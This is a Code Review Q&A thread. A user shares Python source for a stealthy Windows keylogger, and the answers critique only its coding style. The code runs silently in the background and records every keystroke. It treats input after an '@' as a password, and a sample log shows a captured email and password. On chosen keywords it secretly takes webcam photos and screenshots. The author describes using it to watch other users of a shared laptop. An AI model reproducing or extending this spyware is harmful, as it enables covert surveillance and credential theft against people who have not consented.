12
\$\begingroup\$

The program I have developed is currently used for detecting and recording keystrokes. I have added some built in security measures that can easily(somewhat) be modified to suit individual user needs!

I won't go into the mechanics because the Source is readily available and easily understandable! I realize that this has been done hundreds of times but I learned a lot along the way and had tons of fun! And now we start!!

Program Output File has unique formatting for easy readability. The cases are easily editable! Current cases include:

  • Errors
  • Exceptions
  • Special (email/password)
  • Inappropriate (Pornographic etc...)
  • Default (For anything else)

Current security measures include:

  • Screen Capture and Webcam picture, merged with a timestamp to capture the user, the current screen, and the time! -Image Below-
  • The default keyLog!

Currently the program checks for specific rules in keystrokes to be met before using security measures, such as:

  • If text contains porn, pornagraphy, sex (other explicit terms) it issues the security measure that records user and screen
  • If text contains @ it expects this to be an email and therefore expects the next input to be a password! This is then denoted in the keyLog!

Additional Features Include:

  • Runs silently in the background, the user can enter a specific set of input to pause, start, decrypt, encrypt, exit the logger!
  • Relatively low memory usage!!!
  • Encryption and Decryption of keyLogs available via custom Encryption Modules (also available for review!)
  • Currently an .exe version (Although I am having several issues currently)

Current Known Issues:

  • Not multi-platform compatible, Currently Only works on Windows
  • Minimal checking for user camera
  • Not fully documented
  • There are probably a lot of code inefficiencies
  • Python 2.7 dependant

Includes the base Logging class only. Security, Encryption, Constants, settings, build/dist/.exe .bat can be found at GitHub! Okay I guess there is no sample code, can't get the formatting to work properly. It is all jumbled... Will post and try to correct anyway! It worked!

class Logger:
    def __init__(self):
        '''
            Handles all keycodes sent from keyboard
           '''
        self.root = self.__getRoot()
        if 'logs' not in os.listdir(self.root):
            os.mkdir(self.root+'/'+'logs')
        self.root = self.root+'/'+'logs'
        self.writeObj = Save(self.root)
        self.keys = []
        self.flag = CONSTANTS.DEFAULT

        self.canSave = True
        self.quit = False
        self.important = False
        self.overRide = False

    def __getRoot(self):
        '''
            Returns object on first line after : of settings file
            this is the root or main dir for file saving
            '''
        if 'settings.txt' not in os.listdir(os.curdir):
            settings = open('settings.txt', 'wb')
            settings.write(CONSTANTS.SETTING)
            settings.close()
        return ''.join(open('settings.txt', 'rb').readlines()[0].split(' = ')[1])

    def check(self, code):
        '''
            Main keycode handeling

            Checks if key is 0 control, shift, alt, caps etc... all mod keys
            if not it checks if key is a backspace, if so it attempts to remove a key from the log
            if not it checks if key is return press and others, (main key checking goes here, keywords, phrases etc...)
            if not it adds the key to the log because it is a normal key
            checks if we want to continue and exits if not
            '''

        string = self.__getString().lower()

        if code == 0:
            return
        elif code == 8 and len(self.keys) > 1:
            self.keys.remove(self.keys[-1])

        elif code == 13 and string != '' or len(self.keys) >= 256:
            self.flag = CONSTANTS.DEFAULT

            if self.important:
                self.important = False
                self.flag = CONSTANTS.IMPORTANT

            if 'logging.stop' in string:
                string = 'Logging Disabled'
                self.flag = CONSTANTS.EXCEPTION
                self.canSave = False
                self.overRide = True

            elif 'logging.start' in string:
                string = 'Logging Enabled'
                self.flag = CONSTANTS.EXCEPTION
                self.canSave = True
                self.overRide = True

            elif 'logging.exit' in string:
                string = 'Program Exit'
                self.flag = CONSTANTS.EXCEPTION
                self.quit = True
                self.canSave = False
                self.overRide = True
                crypto.encryptAll(self.root)

            elif 'logging.encrypt' in string:
                string = 'Encrypted Log Files'
                self.flag = CONSTANTS.IMPORTANT
                crypto.encryptAll(self.root)

            elif 'logging.decrypt' in string:
                string = 'Decrypted Log Files'
                self.flag = CONSTANTS.IMPORTANT
                crypto.decryptAll(self.root)

            elif 'porn' in string or 'sex' in string or 'pussy' in string or 'dick' in string or 'xnxx.com' in string:
                self.flag = CONSTANTS.PORN
                thread.start_new_thread( security.camera, (self.root, self.__feedTime(), string))

            else:
                '''Special checks here'''
                if '@' in string:
                    self.important = True
                    self.flag = CONSTANTS.IMPORTANT

            if self.canSave or self.overRide:
                string = self.__getOrigionalString(string)
                self.save(string)
                self.overRide = False

        else:
            self.addKey(code)

        if self.quit:
            sys.exit()

    def __feedTime(self):
        return time.strftime("%m-%d-%Y %I-%M-%S")

    def __getOrigionalString(self, string):
        '''
            returns the unformatted string for all types except exceptions
            '''
        if self.flag != CONSTANTS.EXCEPTION:
            return self.__getString()
        return string

    def addKey(self, key):
        '''
            add key to log
            '''
        self.keys.append(str(chr(key)))

    def clearKeys(self):
        '''
            reset log
            '''
        self.keys = []

    def save(self, string):
        '''
            save using the Save() class
            '''
        self.writeObj.write(string, self.flag)
        self.clearKeys()

    def __getString(self):
        '''
            return the log as a string
            '''
        return ''.join(self.keys)

class Save:
    def __init__(self, dir):
        '''
            write and save log to a text file in dir directory with current date name
            '''
        self.directory = dir
        self.setFile()

        self.tagD = CONSTANTS.DEFAULT
        self.tagE = CONSTANTS.ERROR
        self.tagI = CONSTANTS.IMPORTANT
        self.tagX = CONSTANTS.EXCEPTION

        self.currentTag = self.tagD

    def __getTime(self):
        '''
            returns m-d-y-h-m-s time in specific format
            '''
        return '['+str(time.ctime(time.time())) + ']'+'\n'

    def setFile(self):
        '''
            sets filename to directory/current date
            '''
        self.date = time.strftime("%m-%d-%Y")
        self.fileName = self.directory + '/' + self.date + '.log'

    def __getOpen(self):
        '''
            return open file
            '''
        return open(self.fileName, 'a')

    def write(self, data, flag):
        '''
            set current tag and call save
            '''
        self.currentTag = flag

        self.__save(data)

    def __save(self, data):
        '''
            Open, write, save and close file
            '''
        if self.date != time.strftime("%m-%d-%Y"):
            self.setFile(self.directory)

        file = self.__getOpen()
        file.write(self.currentTag+'\n')
        file.write(self.__getTime()+data+'\n\n')
        file.close()

def OnKeyboardEvent(event):
    '''
        Built in keyboard event for pyhook.hookmanager

        called each time a key is pressed
        runs log.check for code analysis
        '''
    log.check(event.Ascii)

def main():
    '''
        Main Loop and setup
        '''
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent 
        hm.HookKeyboard() 
        pythoncom.PumpMessages() #@UndefinedVariable

if __name__ == '__main__':
    '''
        Setup/Teardown
        init Logger object and call main function
        '''
    setup.setup()
    log = Logger()
    main()

Sample Image output

Don't mind the poor webcam quality, or the ugly dude in the image!!

Sample Log Output

[Fri Apr 15 15:49:34 2016]
Don'tmindthe poor webcam quality! , or the ugly dude in the image!!

-----------DEFAULT-----------

[Fri Apr 15 15:50:13 2016]

-----------DEFAULT-----------

[Fri Apr 15 15:50:46 2016]
eThis is the lazyScripter here!

-----------DEFAULT-----------

[Fri Apr 15 15:50:46 2016]

This is the lazyScripter here!

-----------DEFAULT-----------

[Fri Apr 15 15:50:55 2016]
lfacebook.com

-----------DEFAULT-----------

[Fri Apr 15 15:50:55 2016]
lfacebook.com

----------IMPORTANT----------

[Fri Apr 15 15:51:11 2016]
tempemail@gmail.com

----------IMPORTANT----------

[Fri Apr 15 15:51:11 2016]
tempemail@gmail.com

----------IMPORTANT----------

[Fri Apr 15 15:51:18 2016]
superSecretPassword

----------IMPORTANT----------

[Fri Apr 15 15:51:18 2016]
superSecretPassword

---------PORNOGRAPHY---------

[Fri Apr 15 15:51:27 2016]
watch some porn

---------PORNOGRAPHY---------

[Fri Apr 15 15:51:27 2016]
watch some porn

Program does not normally write twice, I however accidentally had two programs running! When program is called via .bat it checks and terminates any other running loggers!

Main Question Summary

  1. What issues are immediately noticed?
  2. How can I improve upon this?
  3. General critique please!

My thanks to anyone who takes the time to fully read this long winded explanation and apply constructive criticism!

\$\endgroup\$
  • 3
    \$\begingroup\$ The only question I have is... why? \$\endgroup\$ – Dan Pantry Apr 15 '16 at 20:45
  • 5
    \$\begingroup\$ Well why not?! I had the extra time and my personal laptop is constantly used communally. Figured I could catch anyone doing anything they shouldn't! \$\endgroup\$ – TheLazyScripter Apr 15 '16 at 20:50
5
\$\begingroup\$

Suggestion: Have a list of words that it checks for instead of hard coding the words it checks for.

The 'easiest' way would be to create something like:

keywords = ['explicit1', 'explicit2', 'explicit3']

Or my preferred method would be to create a .txt file with a list of words separated by newlines and reading those words from the file into a list:

with open(fname) as f:
    keywords = f.readlines()

And then do the following in your main file:

for word in keywords:
    if word in string: return true
\$\endgroup\$
  • 1
    \$\begingroup\$ Welcome to Code Review! Good job on your first answer! \$\endgroup\$ – SirPython Apr 16 '16 at 14:01
3
\$\begingroup\$
  • Names in Python should follow PEP8, that is, lower_case_with_underscores for methods and variables. That said, at least it's consistent.
  • The double underscore prefix for __getRoot looks weird and unnecessary. If it's internal, just use a single underscore.
  • The docstrings have weird indentation.
  • Definitely use with open(...) as ...: to open files, otherwise you leak file handles if an exception occurs or you forget the close call at the end.
  • In __getTime the formatting can easily use '[{}]\n'.format(time.ctime(time.time())) and be much more compact. I'd largely recommend any of the formatting functions to concatenating strings.
  • The check function could be split it up a little by defining a dictionary for the ... in string matching, like moving all of the blocks into their own functions and then dispatch to them based on the contents of the string.

Now for the key logger, I'd probably go for a fuzzy matching there or a list of keywords/regexex define in some file instead of hardcoding it.

Lastly I find either the naming, or the structure of the classes a bit hard to understand. The name Save doesn't really tell me what the class is doing ... "saving" I guess, but that should rather be Saver, Writer, or something.

\$\endgroup\$
  • 1
    \$\begingroup\$ I agree that starting out I should have read constants from a file or list but at this point it would take just as much, if not more, code to implement this! Module to open and read each line and then a change to my compares or alternatively a Constants file or list or dict. But when comparing I would have to do something like if constants.logging_exit in string, or if constants[0] in string, or if constants['logging'']['exit'] in string. This ends up getting just as obtuse (It does make editing a lot easier I will admit)!! \$\endgroup\$ – TheLazyScripter Apr 16 '16 at 20:11
  • 1
    \$\begingroup\$ I completely agree with using with open(f) as file rather than open(f)/close(f) Code has been altered (__getOpen() removed and statement does with open loop now). I didn't think about what would happen if a write error occurred. Thank you so much!! \$\endgroup\$ – TheLazyScripter Apr 16 '16 at 20:14
  • 1
    \$\begingroup\$ An now on to my main point! Everyone seems to quite enjoy criticizing my "non PEP8" formatting. I guess it's true that everyone (including Python dev's) use PEP8, but I have been using camelCase since I first began programming and just can't seem to get on board with it! \$\endgroup\$ – TheLazyScripter Apr 16 '16 at 20:17
  • 1
    \$\begingroup\$ That's why I didn't say "omg you have to use PEP8". IMO every choice is mostly fine as long as it's consistently applied, because then the reader can adapt and work with it. But you'll get the PEP8 comment every single time unfortunately. I mean you can prevent that by making a statement that you're aware of it, but chose not to apply it :) \$\endgroup\$ – ferada Apr 16 '16 at 20:35
  • \$\begingroup\$ I think I will opt into doing that until I adopt the newer methods! Thanks for your input and appreciation! \$\endgroup\$ – TheLazyScripter Apr 16 '16 at 21:15

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.